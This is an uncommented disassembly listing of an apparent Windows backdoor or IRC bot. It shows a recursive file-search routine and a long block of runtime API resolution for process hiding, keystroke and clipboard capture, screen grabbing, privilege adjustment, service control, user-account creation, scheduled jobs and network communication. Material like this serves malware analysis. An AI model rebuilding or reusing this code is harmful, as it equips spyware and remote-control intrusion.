var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415B10
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408707
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415B10
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408707:				; CODE XREF: sub_4086B2+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_429170
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_40874C
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412BD1
		add	esp, 14h


loc_40874C:				; CODE XREF: sub_4086B2+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_4087CA
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42913C
		push	eax
		call	sub_415316
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4087AA
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412BD1
		add	esp, 14h


loc_4087AA:				; CODE XREF: sub_4086B2+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B078
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4086B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087CA	proc near		; CODE XREF: sub_4086B2+B9p
					; sub_4087CA+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41588A
		mov	edi, dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408887


loc_408816:				; CODE XREF: sub_4087CA+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408873
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_40883A
		cmp	[ebp+var_117], 0
		jz	short loc_408873
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408873


loc_40883A:				; CODE XREF: sub_4087CA+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41588A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4087CA
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408873:				; CODE XREF: sub_4087CA+53j
					; sub_4087CA+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408816


loc_408887:				; CODE XREF: sub_4087CA+4Aj
		push	[ebp+var_4]
		call	dword_421098	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40890D


loc_4088BE:				; CODE XREF: sub_4087CA+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41588A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_4088BE


loc_40890D:				; CODE XREF: sub_4087CA+F2j
		push	esi
		call	dword_421098	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40891C	proc near		; CODE XREF: sub_40C574+55p
		push	ebx
		push	ebp
		mov	ebp, dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408A3C
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43CAD0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43CA44, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43CA28, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43C944, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43C8F0, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43C920, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43C994, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43CA84, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43CADC, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43C950, eax
		call	esi	; GetProcAddress
		cmp	dword_43CAD0, ebx
		mov	dword_43C938, eax
		jz	short loc_408A1A
		cmp	dword_43CA44, ebx
		jz	short loc_408A1A
		cmp	dword_43CA28, ebx
		jz	short loc_408A1A
		cmp	dword_43C944, ebx
		jz	short loc_408A1A
		cmp	dword_43C920, ebx
		jz	short loc_408A1A
		cmp	dword_43C994, ebx
		jz	short loc_408A1A
		cmp	dword_43CA84, ebx
		jz	short loc_408A1A
		cmp	dword_43CADC, ebx
		jz	short loc_408A1A
		cmp	dword_43C950, ebx
		jz	short loc_408A1A
		cmp	eax, ebx
		jnz	short loc_408A24


loc_408A1A:				; CODE XREF: sub_40891C+B8j
					; sub_40891C+C0j ...
		mov	dword_43CAE0, 1


loc_408A24:				; CODE XREF: sub_40891C+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43CA5C, eax
		jz	short loc_408A51
		push	1
		push	ebx
		call	eax
		jmp	short loc_408A51
; ---------------------------------------------------------------------------


loc_408A3C:				; CODE XREF: sub_40891C+1Dj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CAE4, eax
		mov	dword_43CAE0, 1


loc_408A51:				; CODE XREF: sub_40891C+117j
					; sub_40891C+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408B66
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43CA80, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43CA30, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43C9C4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43CAD4, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43C9F4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43CA14, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43CA78, eax
		call	esi	; GetProcAddress
		cmp	dword_43CA80, ebx
		mov	dword_43C96C, eax
		jz	short loc_408B0A
		cmp	dword_43CA30, ebx
		jz	short loc_408B0A
		cmp	dword_43C9C4, ebx
		jz	short loc_408B0A
		cmp	dword_43CAD4, ebx
		jz	short loc_408B0A
		cmp	dword_43C9F4, ebx
		jz	short loc_408B0A
		cmp	dword_43CA14, ebx
		jz	short loc_408B0A
		cmp	dword_43CA78, ebx
		jz	short loc_408B0A
		cmp	eax, ebx
		jnz	short loc_408B14


loc_408B0A:				; CODE XREF: sub_40891C+1B8j
					; sub_40891C+1C0j ...
		mov	dword_43CAE8, 1


loc_408B14:				; CODE XREF: sub_40891C+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43C9F0, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43C904, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43C9C0, eax
		call	esi	; GetProcAddress
		cmp	dword_43C9F0, ebx
		mov	dword_43C9AC, eax
		jz	short loc_408B71
		cmp	dword_43C904, ebx
		jz	short loc_408B71
		cmp	dword_43C9C0, ebx
		jz	short loc_408B71
		cmp	eax, ebx
		jnz	short loc_408B7B
		jmp	short loc_408B71
; ---------------------------------------------------------------------------


loc_408B66:				; CODE XREF: sub_40891C+144j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CAEC, eax


loc_408B71:				; CODE XREF: sub_40891C+232j
					; sub_40891C+23Aj ...
		mov	dword_43CAE8, 1


loc_408B7B:				; CODE XREF: sub_40891C+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408D16
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43CA94, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43C9D8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43CA48, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43C930, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43C990, eax
		call	esi	; GetProcAddress
		cmp	dword_43CA94, ebx
		mov	dword_43CA00, eax
		jz	short loc_408C06
		cmp	dword_43C9D8, ebx
		jz	short loc_408C06
		cmp	dword_43CA48, ebx
		jz	short loc_408C06
		cmp	dword_43C930, ebx
		jz	short loc_408C06
		cmp	dword_43C990, ebx
		jz	short loc_408C06
		cmp	eax, ebx
		jnz	short loc_408C10


loc_408C06:				; CODE XREF: sub_40891C+2C4j
					; sub_40891C+2CCj ...
		mov	dword_43CAF0, 1


loc_408C10:				; CODE XREF: sub_40891C+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43CA08, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43C9E0, eax
		call	esi	; GetProcAddress
		cmp	dword_43CA08, ebx
		mov	dword_43CA90, eax
		jz	short loc_408C4B
		cmp	dword_43C9E0, ebx
		jz	short loc_408C4B
		cmp	eax, ebx
		jnz	short loc_408C55


loc_408C4B:				; CODE XREF: sub_40891C+321j
					; sub_40891C+329j
		mov	dword_43CAF0, 1


loc_408C55:				; CODE XREF: sub_40891C+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43CA18, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43C90C, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43C914, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43C974, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43C978, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43C928, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43C9E4, eax
		call	esi	; GetProcAddress
		cmp	dword_43CA18, ebx
		mov	dword_43C918, eax
		jz	short loc_408CF9
		cmp	dword_43C90C, ebx
		jz	short loc_408CF9
		cmp	dword_43C914, ebx
		jz	short loc_408CF9
		cmp	dword_43C974, ebx
		jz	short loc_408CF9
		cmp	dword_43C978, ebx
		jz	short loc_408CF9
		cmp	dword_43C928, ebx
		jz	short loc_408CF9
		cmp	dword_43C9E4, ebx
		jz	short loc_408CF9
		cmp	eax, ebx
		jnz	short loc_408D03


loc_408CF9:				; CODE XREF: sub_40891C+3A7j
					; sub_40891C+3AFj ...
		mov	dword_43CAF0, 1


loc_408D03:				; CODE XREF: sub_40891C+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43C910, eax
		jnz	short loc_408D2B
		jmp	short loc_408D21
; ---------------------------------------------------------------------------


loc_408D16:				; CODE XREF: sub_40891C+26Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CAF4, eax


loc_408D21:				; CODE XREF: sub_40891C+3F8j
		mov	dword_43CAF0, 1


loc_408D2B:				; CODE XREF: sub_40891C+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DF7
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43CA10, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43CA68, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43CA70, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43CA2C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43C954, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43C900, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43CA6C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43C8EC, eax
		call	esi	; GetProcAddress
		cmp	dword_43CA10, ebx
		mov	dword_43C988, eax
		jz	short loc_408E02
		cmp	dword_43CA68, ebx
		jz	short loc_408E02
		cmp	dword_43CA70, ebx
		jz	short loc_408E02
		cmp	dword_43CA2C, ebx
		jz	short loc_408E02
		cmp	dword_43C954, ebx
		jz	short loc_408E02
		cmp	dword_43C900, ebx
		jz	short loc_408E02
		cmp	dword_43CA6C, ebx
		jz	short loc_408E02
		cmp	dword_43C8EC, ebx
		jz	short loc_408E02
		cmp	eax, ebx
		jnz	short loc_408E0C
		jmp	short loc_408E02
; ---------------------------------------------------------------------------


loc_408DF7:				; CODE XREF: sub_40891C+41Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CAFC, eax


loc_408E02:				; CODE XREF: sub_40891C+49Bj
					; sub_40891C+4A3j ...
		mov	dword_43CAF8, 1


loc_408E0C:				; CODE XREF: sub_40891C+4D7j
		mov	ebp, dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4090C8
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43C99C, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43CAC8, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43C940, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43C91C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43C9D0, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43C9B8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43C984, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43CAA4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43CAC0, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43C9CC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43CAB0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43CA64, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43CA24, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43CA20, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43C960, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_43C958, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43CA74, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43CA88, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43CA3C, eax
		call	esi	; GetProcAddress
		mov	dword_43C9FC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43CA50, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43CA0C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43CA4C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43CAB8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43CA04, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43C9C8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43CA38, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43CAA8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43C9DC, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43C980, eax
		call	esi	; GetProcAddress
		cmp	dword_43C99C, ebx
		mov	dword_43CABC, eax
		jz	loc_4090D3
		cmp	dword_43CAC8, ebx
		jz	loc_4090D3
		cmp	dword_43C940, ebx
		jz	loc_4090D3
		cmp	dword_43C9D0, ebx
		jz	loc_4090D3
		cmp	dword_43C9B8, ebx
		jz	loc_4090D3
		cmp	dword_43C984, ebx
		jz	loc_4090D3
		cmp	dword_43CAA4, ebx
		jz	loc_4090D3
		cmp	dword_43CAC0, ebx
		jz	loc_4090D3
		cmp	dword_43C9CC, ebx
		jz	loc_4090D3
		cmp	dword_43CAB0, ebx
		jz	loc_4090D3
		cmp	dword_43CA64, ebx
		jz	loc_4090D3
		cmp	dword_43CA24, ebx
		jz	loc_4090D3
		cmp	dword_43CA20, ebx
		jz	loc_4090D3
		cmp	dword_43C960, ebx
		jz	short loc_4090D3
		cmp	dword_43CA74, ebx
		jz	short loc_4090D3
		cmp	dword_43CA88, ebx
		jz	short loc_4090D3
		cmp	dword_43CA3C, ebx
		jz	short loc_4090D3
		cmp	dword_43C9FC, ebx
		jz	short loc_4090D3
		cmp	dword_43CA50, ebx
		jz	short loc_4090D3
		cmp	dword_43CA0C, ebx
		jz	short loc_4090D3
		cmp	dword_43CA4C, ebx
		jz	short loc_4090D3
		cmp	dword_43CAB8, ebx
		jz	short loc_4090D3
		cmp	dword_43CA04, ebx
		jz	short loc_4090D3
		cmp	dword_43C9C8, ebx
		jz	short loc_4090D3
		cmp	dword_43CA38, ebx
		jz	short loc_4090D3
		cmp	dword_43CAA8, ebx
		jz	short loc_4090D3
		cmp	dword_43C9DC, ebx
		jz	short loc_4090D3
		cmp	eax, ebx
		jnz	short loc_4090DD
		jmp	short loc_4090D3
; ---------------------------------------------------------------------------


loc_4090C8:				; CODE XREF: sub_40891C+501j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB04, eax


loc_4090D3:				; CODE XREF: sub_40891C+6A0j
					; sub_40891C+6ACj ...
		mov	dword_43CB00, 1


loc_4090DD:				; CODE XREF: sub_40891C+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4091E2
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43C968, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43C8F4, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43C9EC, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43C9A0, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43C9F8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43C9BC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43C934, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43C92C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43C93C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C968, ebx
		mov	ecx, dword_43C9BC
		mov	dword_43CA58, eax
		jz	short loc_4091BE
		cmp	dword_43C8F4, ebx
		jz	short loc_4091BE
		cmp	dword_43C9EC, ebx
		jz	short loc_4091BE
		cmp	dword_43C9A0, ebx
		jz	short loc_4091BE
		cmp	dword_43C9F8, ebx
		jz	short loc_4091BE
		cmp	ecx, ebx
		jz	short loc_4091BE
		cmp	dword_43C934, ebx
		jz	short loc_4091BE
		cmp	dword_43C92C, ebx
		jz	short loc_4091BE
		cmp	dword_43C93C, ebx
		jz	short loc_4091BE
		cmp	eax, ebx
		jnz	short loc_4091C8


loc_4091BE:				; CODE XREF: sub_40891C+860j
					; sub_40891C+868j ...
		mov	dword_43CB08, 1


loc_4091C8:				; CODE XREF: sub_40891C+8A0j
		cmp	ecx, ebx
		jz	short loc_4091FD
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_43C9D4, eax
		jnz	short loc_4091FD
		jmp	short loc_4091F7
; ---------------------------------------------------------------------------


loc_4091E2:				; CODE XREF: sub_40891C+7CCj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB0C, eax
		mov	dword_43CB08, 1


loc_4091F7:				; CODE XREF: sub_40891C+8C4j
		mov	dword_43C9D4, ebx


loc_4091FD:				; CODE XREF: sub_40891C+8AEj
					; sub_40891C+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409247
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43C9B0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43CAD8, eax
		call	esi	; GetProcAddress
		cmp	dword_43C9B0, ebx
		mov	dword_43C948, eax
		jz	short loc_409252
		cmp	dword_43CAD8, ebx
		jz	short loc_409252
		cmp	eax, ebx
		jnz	short loc_40925C
		jmp	short loc_409252
; ---------------------------------------------------------------------------


loc_409247:				; CODE XREF: sub_40891C+8ECj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43CB14, eax


loc_409252:				; CODE XREF: sub_40891C+91Bj
					; sub_40891C+923j ...
		mov	dword_43CB10, 1


loc_40925C:				; CODE XREF: sub_40891C+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409352
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43C924, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43C8FC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43C970, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43C9A4, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43CAB4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43C95C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43C908, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43C8F8, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43C98C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43CA7C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C924, ebx
		mov	dword_43CA34, eax
		jz	short loc_40935D
		cmp	dword_43C8FC, ebx
		jz	short loc_40935D
		cmp	dword_43C970, ebx
		jz	short loc_40935D
		cmp	dword_43C9A4, ebx
		jz	short loc_40935D
		cmp	dword_43CAB4, ebx
		jz	short loc_40935D
		cmp	dword_43C95C, ebx
		jz	short loc_40935D
		cmp	dword_43C908, ebx
		jz	short loc_40935D
		cmp	dword_43C8F8, ebx
		jz	short loc_40935D
		cmp	dword_43C98C, ebx
		jz	short loc_40935D
		cmp	dword_43CA7C, ebx
		jz	short loc_40935D
		cmp	eax, ebx
		jnz	short loc_409367
		jmp	short loc_40935D
; ---------------------------------------------------------------------------


